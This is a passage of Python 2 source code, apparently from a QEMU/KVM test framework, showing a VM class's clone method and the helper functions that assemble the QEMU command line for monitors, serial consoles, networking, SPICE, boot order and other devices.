= None raise ImageUnbootableError(self.name) except KeyError: pass def clone(self, name=None, params=None, root_dir=None, address_cache=None, copy_state=False): """ Return a clone of the VM object with optionally modified parameters. The clone is initially not alive and needs to be started using create(). Any parameters not passed to this function are copied from the source VM. :param name: Optional new VM name :param params: Optional new VM creation parameters :param root_dir: Optional new base directory for relative filenames :param address_cache: A dict that maps MAC addresses to IP addresses :param copy_state: If True, copy the original VM's state to the clone. Mainly useful for make_create_command(). """ if name is None: name = self.name if params is None: params = self.params.copy() if root_dir is None: root_dir = self.root_dir if address_cache is None: address_cache = self.address_cache if copy_state: state = self.__dict__.copy() else: state = None return VM(name, params, root_dir, address_cache, state) def get_serial_console_filename(self, name=None): """ Return the serial console filename. :param name: The serial port name. """ if name: return os.path.join(data_dir.get_tmp_dir(), "serial-%s-%s" % (name, self.instance)) return os.path.join(data_dir.get_tmp_dir(), "serial-%s" % self.instance) def get_serial_console_filenames(self): """ Return a list of all serial console filenames (as specified in the VM's params). """ return [self.get_serial_console_filename(_) for _ in self.params.objects("serials")] def get_virtio_port_filenames(self): """ Get socket file of virtio ports """ return [_.hostfile for _ in self.virtio_ports] def cleanup_serial_console(self): """ Close serial console and associated log file """ for console_type in ["virtio_console", "serial_console"]: if hasattr(self, console_type): console = getattr(self, console_type) if console: console.close() console = None if hasattr(self, "migration_file"): try: os.unlink(self.migration_file) except OSError: pass def make_create_command(self, name=None, params=None, root_dir=None): """ Generate a qemu command line. All parameters are optional. If a parameter is not supplied, the corresponding value stored in the class attributes is used. :param name: The name of the object :param params: A dict containing VM params :param root_dir: Base directory for relative filenames :note: The params dict should contain: mem -- memory size in MBs cdrom -- ISO filename to use with the qemu -cdrom parameter extra_params -- a string to append to the qemu command shell_port -- port of the remote shell daemon on the guest (SSH, Telnet or the home-made Remote Shell Server) shell_client -- client program to use for connecting to the remote shell daemon on the guest (ssh, telnet or nc) x11_display -- if specified, the DISPLAY environment variable will be be set to this value for the qemu process (useful for SDL rendering) images -- a list of image object names, separated by spaces nics -- a list of NIC object names, separated by spaces For each image in images: drive_format -- string to pass as 'if' parameter for this image (e.g. ide, scsi) image_snapshot -- if yes, pass 'snapshot=on' to qemu for this image image_boot -- if yes, pass 'boot=on' to qemu for this image In addition, all parameters required by get_image_filename. For each NIC in nics: nic_model -- string to pass as 'model' parameter for this NIC (e.g. e1000) """ # Helper function for command line option wrappers def _add_option(option, value, option_type=None, first=False): """ Add option to qemu parameters. """ if first: fmt = " %s=%s" else: fmt = ",%s=%s" if option_type is bool: # Decode value for bool parameter (supports True, False, None) if value in ['yes', 'on', True]: return fmt % (option, "on") elif value in ['no', 'off', False]: return fmt % (option, "off") elif value and isinstance(value, bool): return fmt % (option, "on") elif value and isinstance(value, str): # "EMPTY_STRING" and "NULL_STRING" is used for testing illegal # foramt of option. # "EMPTY_STRING": set option as a empty string "". # "NO_EQUAL_STRING": set option as a option string only, # even without "=". # (In most case, qemu-kvm should recognize it as "<null>") if value == "NO_EQUAL_STRING": return ",%s" % option if value == "EMPTY_STRING": value = '""' return fmt % (option, str(value)) return "" # Wrappers for all supported qemu command line parameters. # This is meant to allow support for multiple qemu versions. # Each of these functions receives the output of 'qemu -help' # as a parameter, and should add the requested command line # option accordingly. def add_name(name): return " -name '%s'" % name def process_sandbox(devices, action): if action == "add": if devices.has_option("sandbox"): return " -sandbox on " elif action == "rem": if devices.has_option("sandbox"): return " -sandbox off " def add_human_monitor(devices, monitor_name, filename): if not devices.has_option("chardev"): return " -monitor unix:'%s',server,nowait" % filename monitor_id = "hmp_id_%s" % monitor_name cmd = " -chardev socket" cmd += _add_option("id", monitor_id) cmd += _add_option("path", filename) cmd += _add_option("server", "NO_EQUAL_STRING") cmd += _add_option("nowait", "NO_EQUAL_STRING") cmd += " -mon chardev=%s" % monitor_id cmd += _add_option("mode", "readline") return cmd def add_qmp_monitor(devices, monitor_name, filename): if not devices.has_option("qmp"): logging.warn("Fallback to human monitor since qmp is" " unsupported") return add_human_monitor(devices, monitor_name, filename) if not devices.has_option("chardev"): return " -qmp unix:'%s',server,nowait" % filename monitor_id = "qmp_id_%s" % monitor_name cmd = " -chardev socket" cmd += _add_option("id", monitor_id) cmd += _add_option("path", filename) cmd += _add_option("server", "NO_EQUAL_STRING") cmd += _add_option("nowait", "NO_EQUAL_STRING") cmd += " -mon chardev=%s" % monitor_id cmd += _add_option("mode", "control") return cmd def add_serial(devices, name, filename): if (not devices.has_option("chardev") or not any(devices.has_device(dev) for dev in ("isa-serial", "sclpconsole", "spapr-vty"))): return " -serial unix:'%s',server,nowait" % filename serial_id = "serial_id_%s" % name cmd = " -chardev socket" cmd += _add_option("id", serial_id) cmd += _add_option("path", filename) cmd += _add_option("server", "NO_EQUAL_STRING") cmd += _add_option("nowait", "NO_EQUAL_STRING") if '86' in params.get('vm_arch_name', arch.ARCH): cmd += " -device isa-serial" elif 'ppc' in params.get('vm_arch_name', arch.ARCH): cmd += " -device spapr-vty" # Workaround for console issue, details: # lists.gnu.org/archive/html/qemu-ppc/2013-10/msg00129.html cmd += _add_option("reg", "0x30000000") elif 's390x' in params.get('vm_arch_name', arch.ARCH): # Only for s390x console: # This is only console option supported now. cmd += " -device sclpconsole" cmd += _add_option("chardev", serial_id) return cmd def add_chardev(devices, params, qid=None): """ Generate qdevices.CharDevice object :param devices: device container object :param params: dict to create char device object :param qid: char device ID """ if not devices.has_option("chardev"): logging.warn("'chardev' option not support") return None dynamic = False chardev = qdevices.CharDevice(params=params) if not qid: devid = utils_misc.generate_random_id() dynamic = True chardev.set_param("id", devid, dynamic=dynamic) return chardev def add_virtio_port(devices, chardev, params, name, bus, index=None): """ Appends virtio_serialport or virtio_console device to cmdline. :param chardev: qdevices.CharDevice object :param params: Space sepparated chardev params :param name: Name of the port :param bus: Which virtio-serial-pci device use :param index: Index of the current virtio_port """ def get_extra_options(params): """Get extra params pairs""" options = dict() extra_params = params.get('virtio_port_params', '') for _ in extra_params.split(): try: if "=" not in _: key, value = _, "NO_EQUAL_STRING" else: key, value = _.split('=') options[key] = value except Exception: options.clear() msg = ("Invaild params %s in " % _ + "'virtio_port_param' = %s" % extra_params) logging.error(msg) return options # used by spiceagent (com.redhat.spice.*) if 'console' in params.get('virtio_port_type'): port_type = 'virtconsole' else: port_type = 'virtserialport' virtio_port = QDevice(port_type) virtio_port.set_param("bus", bus) if params.get('virtio_port_name_prefix'): prefix = params["virtio_port_name_prefix"] name = "%s%d" % (prefix, index) virtio_port.set_param("name", name) virtio_port.set_param("chardev", chardev.get_qid()) for key, value in get_extra_options(params).items(): virtio_port.set_param(key, value) if not virtio_port.get_param("id"): devid = utils_misc.generate_random_id() virtio_port.set_param("id", devid, dynamic=True) return virtio_port def add_log_seabios(devices): if not devices.has_device("isa-debugcon"): return "" default_id = "seabioslog_id_%s" % self.instance filename = os.path.join(data_dir.get_tmp_dir(), "seabios-%s" % self.instance) self.logs["seabios"] = filename cmd = " -chardev socket" cmd += _add_option("id", default_id) cmd += _add_option("path", filename) cmd += _add_option("server", "NO_EQUAL_STRING") cmd += _add_option("nowait", "NO_EQUAL_STRING") cmd += " -device isa-debugcon" cmd += _add_option("chardev", default_id) cmd += _add_option("iobase", "0x402") return cmd def add_log_anaconda(devices, pci_bus='pci.0'): chardev_id = "anacondalog_chardev_%s" % self.instance vioser_id = "anacondalog_vioser_%s" % self.instance filename = os.path.join(data_dir.get_tmp_dir(), "anaconda-%s" % self.instance) self.logs["anaconda"] = filename dev = qdevices.QCustomDevice('chardev', backend='backend') dev.set_param('backend', 'socket') dev.set_param('id', chardev_id) dev.set_param("path", filename) dev.set_param("server", 'NO_EQUAL_STRING') dev.set_param("nowait", 'NO_EQUAL_STRING') devices.insert(dev) if params.get('machine_type').startswith("arm64-mmio"): dev = QDevice('virtio-serial-device') else: dev = QDevice('virtio-serial-pci', parent_bus=pci_bus) dev.set_param("id", vioser_id) devices.insert(dev) dev = QDevice('virtserialport') dev.set_param("bus", "%s.0" % vioser_id) dev.set_param("chardev", chardev_id) dev.set_param("name", "org.fedoraproject.anaconda.log.0") devices.insert(dev) def add_smp(devices): smp_str = " -smp %d" % self.cpuinfo.smp smp_pattern = "smp .*n\[,maxcpus=cpus\].*" if devices.has_option(smp_pattern): smp_str += ",maxcpus=%d" % self.cpuinfo.maxcpus smp_str += ",cores=%d" % self.cpuinfo.cores smp_str += ",threads=%d" % self.cpuinfo.threads smp_str += ",sockets=%d" % self.cpuinfo.sockets return smp_str def add_nic(devices, vlan, model=None, mac=None, device_id=None, netdev_id=None, nic_extra_params=None, pci_addr=None, bootindex=None, queues=1, vectors=None, pci_bus='pci.0', ctrl_mac_addr=None): if model == 'none': return if devices.has_option("device"): if not model: model = "rtl8139" elif model == "virtio": machine_type = self.params.get("machine_type") if "s390" in machine_type: model = "virtio-net-ccw" elif "mmio" in machine_type: model = "virtio-net-device" else: model = "virtio-net-pci" dev = QDevice(model) if ctrl_mac_addr and ctrl_mac_addr in ["on", "off"]: dev.set_param('ctrl_mac_addr', ctrl_mac_addr) dev.set_param('mac', mac, dynamic=True) # only pci domain=0,bus=0,function=0 is supported for now. # # libvirt gains the pci_slot, free_pci_addr here, # value by parsing the xml file, i.e. counting all the # pci devices and store the number. if model == 'virtio-net-device': dev.parent_bus = {'type': 'virtio-bus'} elif model == 'virtio-net-ccw': # For s390x platform dev.parent_bus = {'type': 'virtio-bus'} elif model != 'spapr-vlan': dev.parent_bus = pci_bus dev.set_param('addr', pci_addr) if nic_extra_params: nic_extra_params = (_.split('=', 1) for _ in nic_extra_params.split(',') if _) for key, val in nic_extra_params: dev.set_param(key, val) dev.set_param("bootindex", bootindex) if 'aarch64' in params.get('vm_arch_name', arch.ARCH): if "rombar" in devices.execute_qemu("-device %s,?" % model): dev.set_param("rombar", 0) else: dev = qdevices.QCustomDevice('net', backend='type') dev.set_param('type', 'nic') dev.set_param('model', model) dev.set_param('macaddr', mac, 'NEED_QUOTE', True) dev.set_param('id', device_id, 'NEED_QUOTE') if "virtio" in model: if int(queues) > 1: dev.set_param('mq', 'on') if vectors: dev.set_param('vectors', vectors) if devices.has_option("netdev"): dev.set_param('netdev', netdev_id) else: dev.set_param('vlan', vlan) devices.insert(dev) def add_net(devices, vlan, nettype, ifname=None, tftp=None, bootfile=None, hostfwd=[], netdev_id=None, netdev_extra_params=None, tapfds=None, script=None, downscript=None, vhost=None, queues=None, vhostfds=None, add_queues=None, helper=None, add_tapfd=None, add_vhostfd=None, vhostforce=None): mode = None if nettype in ['bridge', 'network', 'macvtap']: mode = 'tap' elif nettype == 'user': mode = 'user' else: logging.warning("Unknown/unsupported nettype %s" % nettype) return '' if devices.has_option("netdev"): cmd = " -netdev %s,id=%s" % (mode, netdev_id) cmd_nd = cmd if vhost: if vhost in ["on", "off"]: cmd += ",vhost=%s" % vhost elif vhost == "vhost=on": # Keeps compatibility with old. cmd += ",%s" % vhost cmd_nd = cmd if vhostfds: if (int(queues) > 1 and 'vhostfds=' in devices.get_help_text()): cmd += ",vhostfds=%(vhostfds)s" cmd_nd += ",vhostfds=DYN" else: txt = "" if int(queues) > 1: txt = "qemu do not support vhost multiqueue," txt += " Fall back to single queue." if 'vhostfd=' in devices.get_help_text(): cmd += ",vhostfd=%(vhostfd)s" cmd_nd += ",vhostfd=DYN" else: txt += " qemu do not support vhostfd." if txt: logging.warn(txt) # For negative test if add_vhostfd: cmd += ",vhostfd=%(vhostfd)s" cmd_nd += ",vhostfd=%(vhostfd)s" if vhostforce in ["on", "off"]: cmd += ",vhostforce=%s" % vhostforce cmd_nd = cmd if netdev_extra_params: cmd += "%s" % netdev_extra_params cmd_nd += "%s" % netdev_extra_params else: cmd = " -net %s,vlan=%d" % (mode, vlan) cmd_nd = cmd if mode == "tap": if script: cmd += ",script='%s'" % script cmd += ",downscript='%s'" % (downscript or "no") cmd_nd = cmd if ifname: cmd += ",ifname='%s'" % ifname cmd_nd = cmd elif tapfds: if (int(queues) > 1 and ',fds=' in devices.get_help_text()): cmd += ",fds=%(tapfds)s" cmd_nd += ",fds=DYN" else: cmd += ",fd=%(tapfd)s" cmd_nd += ",fd=DYN" # For negative test if add_tapfd: cmd += ",fd=%(tapfd)s" cmd_nd += ",fd=%(tapfd)s" elif mode == "user": if tftp and "[,tftp=" in devices.get_help_text(): cmd += ",tftp='%s'" % tftp cmd_nd = cmd if bootfile and "[,bootfile=" in devices.get_help_text(): cmd += ",bootfile='%s'" % bootfile cmd_nd = cmd if "[,hostfwd=" in devices.get_help_text(): for i in xrange(len(hostfwd)): cmd += (",hostfwd=tcp::%%(host_port%d)s" "-:%%(guest_port%d)s" % (i, i)) cmd_nd += ",hostfwd=tcp::DYN-:%%(guest_port)ds" if add_queues and queues: cmd += ",queues=%s" % queues cmd_nd += ",queues=%s" % queues if helper: cmd += ",helper=%s" % helper cmd_nd += ",helper=%s" % helper return cmd, cmd_nd def add_floppy(filename, index): cmd_list = [" -fda '%s'", " -fdb '%s'"] return cmd_list[index] % filename def add_tftp(devices, filename): # If the new syntax is supported, don't add -tftp if "[,tftp=" in devices.get_help_text(): return "" else: return " -tftp '%s'" % filename def add_bootp(devices, filename): # If the new syntax is supported, don't add -bootp if "[,bootfile=" in devices.get_help_text(): return "" else: return " -bootp '%s'" % filename def add_tcp_redir(devices, host_port, guest_port): # If the new syntax is supported, don't add -redir if "[,hostfwd=" in devices.get_help_text(): return "" else: return " -redir tcp:%s::%s" % (host_port, guest_port) def add_vnc(vnc_port, vnc_password='no', extra_params=None): vnc_cmd = " -vnc :%d" % (vnc_port - 5900) if vnc_password == "yes": vnc_cmd += ",password" if extra_params: vnc_cmd += ",%s" % extra_params return vnc_cmd def add_sdl(devices): if devices.has_option("sdl"): return " -sdl" else: return "" def add_nographic(): return " -nographic" def add_uuid(uuid): return " -uuid '%s'" % uuid def add_qemu_option(devices, name, optsinfo): """ Add qemu option, such as '-msg timestamp=on|off' :param devices: qcontainer object :param name: string type option name :param optsinfo: list like [(key, val, vtype)] """ if devices.has_option(name): options = [] for info in optsinfo: key, val = info[:2] if key and val: options.append("%s=%%(%s)s" % (key, key)) else: options += filter(None, info[:2]) options = ",".join(options) cmdline = "-%s %s" % (name, options) device = qdevices.QStringDevice(name, cmdline=cmdline) for info in optsinfo: key, val, vtype = info if key and val: device.set_param(key, val, vtype, False) devices.insert(device) else: logging.warn("option '-%s' not supportted" % name) def add_pcidevice(devices, host, params, device_driver="pci-assign", pci_bus='pci.0'): if devices.has_device(device_driver): dev = QDevice(device_driver, parent_bus=pci_bus) else: dev = qdevices.QCustomDevice('pcidevice', parent_bus=pci_bus) help_cmd = "%s -device %s,\? 2>&1" % (qemu_binary, device_driver) pcidevice_help = process.system_output(help_cmd, shell=True, verbose=False) dev.set_param('host', host) dev.set_param('id', 'id_%s' % host.replace(":", ".")) fail_param = [] for param in params.get("pci-assign_params", "").split(): value = params.get(param) if value: if param in pcidevice_help: dev.set_param(param, value) else: fail_param.append(param) if fail_param: msg = ("parameter %s is not support in device pci-assign." " It only support following parameter:\n %s" % (", ".join(fail_param), pcidevice_help)) logging.warn(msg) devices.insert(dev) def add_virtio_rng(devices, rng_params, parent_bus="pci.0"): """ Add virtio-rng device. :param devices: qcontainer object to contain devices. :param rng_params: dict include virtio_rng device params. :param parent_bus: parent bus for virtio-rng-pci. """ def set_dev_params(dev, dev_params, dev_backend, backend_type): """ Set QCustomDevice properties by user params dict. """ for pro, val in dev_params.iteritems(): suffix = "_%s" % backend_type if pro.endswith(suffix): idx = len(suffix) dev.set_param(pro[:-idx], val) if dev_backend: dev.set_param("backend", dev_backend) dev_id = utils_misc.generate_random_string(8) dev_id = "%s-%s" % (backend_type, dev_id) dev.set_param("id", dev_id) dev_type = "virtio-rng-pci" if devices.has_device(dev_type): rng_pci = QDevice(dev_type, parent_bus=parent_bus) set_dev_params(rng_pci, rng_params, None, dev_type) rng_dev = qdevices.QCustomDevice(dev_type="object", backend="backend") backend = rng_params["backend"] backend_type = rng_params["backend_type"] set_dev_params(rng_dev, rng_params, backend, backend_type) if backend_type == "chardev": backend = rng_params["chardev_backend"] backend_type = rng_params["%s_type" % backend] char_dev = qdevices.QCustomDevice(dev_type="chardev", backend="backend") set_dev_params(char_dev, rng_params, backend, backend_type) rng_dev.set_param("chardev", char_dev.get_qid()) devices.insert(char_dev) devices.insert(rng_dev) rng_pci.set_param("rng", rng_dev.get_qid()) devices.insert(rng_pci) def add_memorys(devices, params): """ Add memory controler by params :param devices: VM devices container """ options = [] params = params.object_params("mem") if params.get("mem"): options.append("%s" % params["mem"]) if params.get("slots") and params.get("maxmem"): options.append("slots=%s" % params["slots"]) options.append("maxmem=%s" % params["maxmem"]) if not options: return devices cmdline = "-m %s" % ",".join(options) dev = StrDev("mem", cmdline=cmdline) devices.insert(dev) for name in params.objects("mem_devs"): mem_params = params.object_params(name) memdevs = devices.memory_define_by_params(mem_params, name) devices.insert(memdevs) return devices def add_spice_rhel5(devices, spice_params, port_range=(3100, 3199)): """ processes spice parameters on rhel5 host. :param spice_options - dict with spice keys/values :param port_range - tuple with port range, default: (3000, 3199) """ if devices.has_option("spice"): cmd = " -spice" else: return "" spice_help = "" if devices.has_option("spice-help"): spice_help = commands.getoutput("%s -device \\?" % qemu_binary) s_port = str(utils_misc.find_free_port(*port_range)) self.spice_options['spice_port'] = s_port cmd += " port=%s" % s_port for param in spice_params.split(): value = params.get(param) if value: if bool(re.search(param, spice_help, re.M)): cmd += ",%s=%s" % (param, value) else: msg = ("parameter %s is not supported in spice. It " "only supports the following parameters:\n %s" % (param, spice_help)) logging.warn(msg) else: cmd += ",%s" % param if devices.has_option("qxl"): qxl_dev_nr = params.get("qxl_dev_nr", 1) cmd += " -qxl %s" % qxl_dev_nr return cmd def add_spice(port_range=(3000, 3199), tls_port_range=(3200, 3399)): """ processes spice parameters :param port_range - tuple with port range, default: (3000, 3199) :param tls_port_range - tuple with tls port range, default: (3200, 3399) """ spice_opts = [] # will be used for ",".join() tmp = None def optget(opt): """a helper function""" return self.spice_options.get(opt) def set_yes_no_value(key, yes_value=None, no_value=None): """just a helper function""" tmp = optget(key) if tmp == "no" and no_value: spice_opts.append(no_value) elif tmp == "yes" and yes_value: spice_opts.append(yes_value) def set_value(opt_string, key, fallback=None): """just a helper function""" tmp = optget(key) if tmp: spice_opts.append(opt_string % tmp) elif fallback: spice_opts.append(fallback) s_port = str(utils_misc.find_free_port(*port_range)) if optget("spice_port") == "generate": if not self.is_alive(): self.spice_options['spice_port'] = s_port spice_opts.append("port=%s" % s_port) self.spice_port = s_port else: self.spice_options['spice_port'] = self.spice_port spice_opts.append("port=%s" % self.spice_port) else: set_value("port=%s", "spice_port") set_value("password=%s", "spice_password", "disable-ticketing") if optget("listening_addr") == "ipv4": host_ip = utils_net.get_host_ip_address(self.params) self.spice_options['listening_addr'] = "ipv4" spice_opts.append("addr=%s" % host_ip) # set_value("addr=%s", "listening_addr", ) elif optget("listening_addr") == "ipv6": host_ip = utils_net.get_host_ip_address(self.params) host_ip_ipv6 = utils_misc.convert_ipv4_to_ipv6(host_ip) self.spice_options['listening_addr'] = "ipv6" spice_opts.append("addr=%s" % host_ip_ipv6) set_yes_no_value( "disable_copy_paste", yes_value="disable-copy-paste") set_value("addr=%s", "spice_addr") if optget("spice_ssl") == "yes": # SSL only part t_port = str(utils_misc.find_free_port(*tls_port_range)) if optget("spice_tls_port") == "generate": if not self.is_alive(): self.spice_options['spice_tls_port'] = t_port spice_opts.append("tls-port=%s" % t_port) self.spice_tls_port = t_port else: self.spice_options[ 'spice_tls_port'] = self.spice_tls_port spice_opts.append("tls-port=%s" % self.spice_tls_port) else: set_value("tls-port=%s", "spice_tls_port") prefix = optget("spice_x509_prefix") if ((prefix is None or not os.path.exists(prefix)) and (optget("spice_gen_x509") == "yes")): # Generate spice_x509_* is not always necessary, # Regenerate them will make your existing VM # not longer accessiable via encrypted spice. c_subj = optget("spice_x509_cacert_subj") s_subj = optget("spice_x509_server_subj") # If CN is not specified, add IP of host if s_subj[-3:] == "CN=": s_subj += utils_net.get_host_ip_address(self.params) passwd = optget("spice_x509_key_password") secure = optget("spice_x509_secure") utils_misc.create_x509_dir(prefix, c_subj, s_subj, passwd, secure) tmp = optget("spice_x509_dir") if tmp == "yes": spice_opts.append("x509-dir=%s" % (prefix)) elif tmp == "no": cacert = optget("spice_x509_cacert_file") server_key = optget("spice_x509_key_file") server_cert = optget("spice_x509_cert_file") keyfile_str = ("x509-key-file=%s,x509-cacert-file=%s," "x509-cert-file=%s" % (os.path.join(prefix, server_key), os.path.join(prefix, cacert), os.path.join(prefix, server_cert))) spice_opts.append(keyfile_str) set_yes_no_value("spice_x509_secure", yes_value="x509-key-password=%s" % (optget("spice_x509_key_password"))) tmp = optget("spice_secure_channels") if tmp: for item in tmp.split(","): spice_opts.append("tls-channel=%s" % (item.strip())) # Less common options set_value("seamless-migration=%s", "spice_seamless_migration") set_value("image-compression=%s", "spice_image_compression") set_value("jpeg-wan-compression=%s", "spice_jpeg_wan_compression") set_value("zlib-glz-wan-compression=%s", "spice_zlib_glz_wan_compression") set_value("streaming-video=%s", "spice_streaming_video") set_value("agent-mouse=%s", "spice_agent_mouse") set_value("playback-compression=%s", "spice_playback_compression") set_yes_no_value("spice_ipv4", yes_value="ipv4") set_yes_no_value("spice_ipv6", yes_value="ipv6") return " -spice %s" % (",".join(spice_opts)) def add_qxl(qxl_nr, base_addr=29): """ adds extra qxl devices :param qxl_nr total number of qxl devices :param base_addr: base address of extra qxl device """ qxl_str = "" for index in range(1, qxl_nr): addr = base_addr + index qxl_str += " -device qxl,id=video%d,addr=0x%x" % (index, addr) return qxl_str def add_vga(vga): return " -vga %s" % vga def add_kernel(filename): return " -kernel '%s'" % filename def add_initrd(filename): return " -initrd '%s'" % filename def add_rtc(devices): # Pay attention that rtc-td-hack is for early version # if "rtc " in help: if devices.has_option("rtc"): cmd = " -rtc base=%s" % params.get("rtc_base", "utc") cmd += _add_option("clock", params.get("rtc_clock", "host")) cmd += _add_option("driftfix", params.get("rtc_drift", None)) return cmd elif devices.has_option("rtc-td-hack"): return " -rtc-td-hack" else: return "" def add_kernel_cmdline(cmdline): return " -append '%s'" % cmdline def add_testdev(devices, filename=None): if devices.has_device("testdev"): return (" -chardev file,id=testlog,path=%s" " -device testdev,chardev=testlog" % filename) elif devices.has_device("pc-testdev"): return " -device pc-testdev" else: return "" def add_isa_debug_exit(devices, iobase=0xf4, iosize=0x04): if devices.has_device("isa-debug-exit"): return (" -device isa-debug-exit,iobase=%s,iosize=%s" % (iobase, iosize)) else: return "" def add_no_hpet(devices): if devices.has_option("no-hpet"): return " -no-hpet" else: return "" def add_cpu_flags(devices, cpu_model, flags=None, vendor_id=None, family=None): if devices.has_option('cpu'): cmd = " -cpu '%s'" % cpu_model if vendor_id: cmd += ",vendor=\"%s\"" % vendor_id if flags: if not flags.startswith(","): cmd += "," cmd += "%s" % flags if family is not None: cmd += ",family=%s" % family return cmd else: return "" def add_boot(devices, boot_order, boot_once, boot_menu, boot_strict): if params.get('machine_type', "").startswith("arm"): logging.warn("-boot on ARM is usually not supported, use " "bootindex instead.") return "" if params.get('machine_type', "").startswith("s390"): logging.warn("-boot on s390x only support boot strict=on") return "-boot strict=on" cmd = " -boot" patterns = ["order", "once", "menu", "strict"] options = [] for p in patterns: pattern = "boot .*?(\[,?%s=(.*?)\]|\s+)" % p if devices.has_option(pattern): option = locals()["boot_%s" % p] options.append("%s=%s" % (p, option)) if devices.has_option("boot \[a\|c\|d\|n\]"): cmd += " %s" % boot_once elif options: cmd += " %s" % ",".join(options) else: cmd = "" return cmd def get_index(index): while self.index_in_use.get(str(index)): index += 1 return index def add_sga(devices): if not devices.has_option("device"): return "" else: return " -device sga" def add_watchdog(devices, device_type=None, action="reset"): watchdog_cmd = "" if devices.has_option("watchdog"): if device_type: watchdog_cmd += " -watchdog %s" % device_type watchdog_cmd += " -watchdog-action %s" % action return watchdog_cmd def add_option_rom(devices, opt_rom): if not devices.has_option("option-rom"): return "" return " -option-rom %s" % opt_rom def add_smartcard(sc_chardev, sc_id): sc_cmd = " -device usb-ccid,id=ccid0" sc_cmd += " -chardev " + sc_chardev sc_cmd += ",id=" + sc_id + ",name=smartcard" sc_cmd += " -device ccid-card-passthru,chardev=" + sc_id return sc_cmd def add_numa_node(devices, memdev=None, mem=None, cpus=None, nodeid=None): """ This function is used to add numa node to guest command line """ if not devices.has_option("numa"): return "" numa_cmd = " -numa node" if mem is not None: numa_cmd += ",mem=%s" % mem elif memdev is not None: numa_cmd += ",memdev=%s" % memdev if cpus is not None: cpus = map(lambda x: x.strip(), cpus.split(',')) cpus = ','.join(map(lambda x: "cpus=%s" % x, cpus)) numa_cmd += ",%s" % cpus if nodeid is not None: numa_cmd += ",nodeid=%s" % nodeid return numa_cmd def add_balloon(devices, devid=None, bus=None, use_old_format=None): """ This function is used to add balloon device """ if not devices.has_option("device") or use_old_format is True: devices.insert(StrDev('balloon', cmdline=" -balloon virtio")) return machine_type = self.params.get("machine_type") if "s390" in machine_type: # For s390x platform model = "virtio-balloon-ccw" bus = {'type': 'virtio-bus'} else: model = "virtio-balloon-pci" dev = QDevice(model, parent_bus=bus) if devid: dev.set_param("id", devid) devices.insert(dev) def add_disable_legacy(devices, dev, dev_type): """ This function is used to add disable_legacy option for virtio-pci """ options = devices.execute_qemu("-device %s,?" % dev_type) if "disable-legacy" in options: value = params.get("disable_legacy", "off") dev.set_param("disable-legacy", value) def add_disable_modern(devices, dev, dev_type): """ This function is used to add disable_modern option for virtio-pci """ options = devices.execute_qemu("-device %s,?" % dev_type) if "disable-modern" in options: value = params.get("disable_modern", "on") dev.set_param("disable-modern", value) def _get_pci_bus(devices, params, dtype=None, virtio=False): """ Get device parent pci bus by dtype :param devices: DevContainer object :param params: test params :param dtype: device type :param virtio: is it a virtio device (bool type) :return: return QPCIBus object. """ pci_bus = {'aobject': params.get('pci_bus', 'pci.0')} if params.get("machine_type") != "q35": return pci_bus if dtype and "%s_pci_bus" % dtype in params: return {"aobject": params["%s_pci_bus" % dtype]} pcic = virtio and "x3130-upstream" or "pci-bridge" devices = [_ for _ in devices if isinstance(_, QDevice)] devices = [_ for _ in devices if _.get_param('driver') == pcic] try: return {"aobject": devices[0].get_qid()} except Exception: pass return pci_bus # End of command line option wrappers # If nothing changed and devices exists, return imediatelly if (name is None and params is None and root_dir is None and self.devices is not None): return self.devices if name is None: name = self.name if params is None: params = self.params if root_dir is None: root_dir = self.root_dir have_ahci = False have_virtio_scsi = False virtio_scsi_pcis = [] pci_bus = {'aobject': params.get('pci_bus', 'pci.0')} # init value by default. # PCI addr 0,1,2 are taken by PCI/ISA/IDE bridge and the GPU. self.pci_addr_list = [0, 1, 2] # Clone this VM using the new params vm = self.clone(name, params, root_dir, copy_state=True) # global counters ide_bus = 0 ide_unit = 0 vdisk = 0 scsi_disk = 0 self.last_boot_index = 0 if params.get("kernel"): self.last_boot_index = 1 qemu_binary = utils_misc.get_qemu_binary(params) self.qemu_binary = qemu_binary self.qemu_version = commands.getoutput("%s -version" % qemu_binary).split(',')[0] support_cpu_model = commands.getoutput("%s -cpu \\?" % qemu_binary) self.last_driver_index = 0 # init the dict index_in_use for key in params.keys(): if 'drive_index' in key: self.index_in_use[params.get(key)] = True cmd = "" # Enable the use of glibc's malloc_perturb feature if params.get("malloc_perturb", "no") == "yes": cmd += "MALLOC_PERTURB_=1 " # Set the X11 display parameter if requested if params.get("x11_display"): cmd += "DISPLAY=%s " % params.get("x11_display") if params.get("qemu_audio_drv"): cmd += "QEMU_AUDIO_DRV=%s " % params.get("qemu_audio_drv") # Add command prefix for qemu-kvm. like taskset, valgrind and so on if params.get("qemu_command_prefix"): qemu_command_prefix = params.get("qemu_command_prefix") cmd += "%s " % qemu_command_prefix # Add numa memory cmd to pin guest memory to numa node if params.get("numa_node"): numa_node = int(params.get("numa_node")) if len(utils_misc.get_node_cpus()) < int(params.get("smp", 1)): logging.info("Skip pinning, no enough nodes") elif numa_node < 0: n = utils_misc.NumaNode(numa_node) cmd += "numactl -m %s " % n.node_id else: n = numa_node - 1 cmd += "numactl -m %s " % n # Start constructing devices representation devices = qcontainer.DevContainer(qemu_binary, self.name, params.get('strict_mode'), params.get( 'workaround_qemu_qmp_crash'), params.get('allow_hotplugged_vm')) StrDev = qdevices.QStringDevice QDevice = qdevices.QDevice devices.insert(StrDev('PREFIX', cmdline=cmd)) # Add the qemu binary devices.insert(StrDev('qemu', cmdline=qemu_binary)) devices.insert(StrDev('-S', cmdline="-S")) # Add the VM's name devices.insert(StrDev('vmname', cmdline=add_name(name))) qemu_sandbox = params.get("qemu_sandbox") if qemu_sandbox == "on": devices.insert( StrDev( 'qemu_sandbox', cmdline=process_sandbox( devices, "add"))) elif qemu_sandbox == "off": devices.insert( StrDev( 'qemu_sandbox', cmdline=process_sandbox( devices, "rem"))) del qemu_sandbox devs = devices.machine_by_params(params) devices.insert(devs) # no automagic devices please defaults = params.get("defaults", "no") if devices.has_option("nodefaults") and defaults != "yes": devices.insert(StrDev('nodefaults', cmdline=" -nodefaults")) # nodefconfig please if params.get("defconfig", "yes") == "no": devices.insert(StrDev('nodefconfig', cmdline=" -nodefconfig")) vga = params.get("vga") if vga: if vga != 'none': devices.insert(StrDev('VGA-%s' % vga, cmdline=add_vga(vga), parent_bus={'aobject': 'pci.0'})) if vga == 'qxl': qxl_dev_nr = int(params.get("qxl_dev_nr", 1)) if qxl_dev_nr > 1: addr = int(params.get("qxl_base_addr", 29)) cmdline = add_qxl(qxl_dev_nr, addr) devices.insert(StrDev('qxl', cmdline=cmdline)) else: devices.insert(StrDev('VGA-none', cmdline=add_vga(vga))) elif params.get('defaults', 'no') 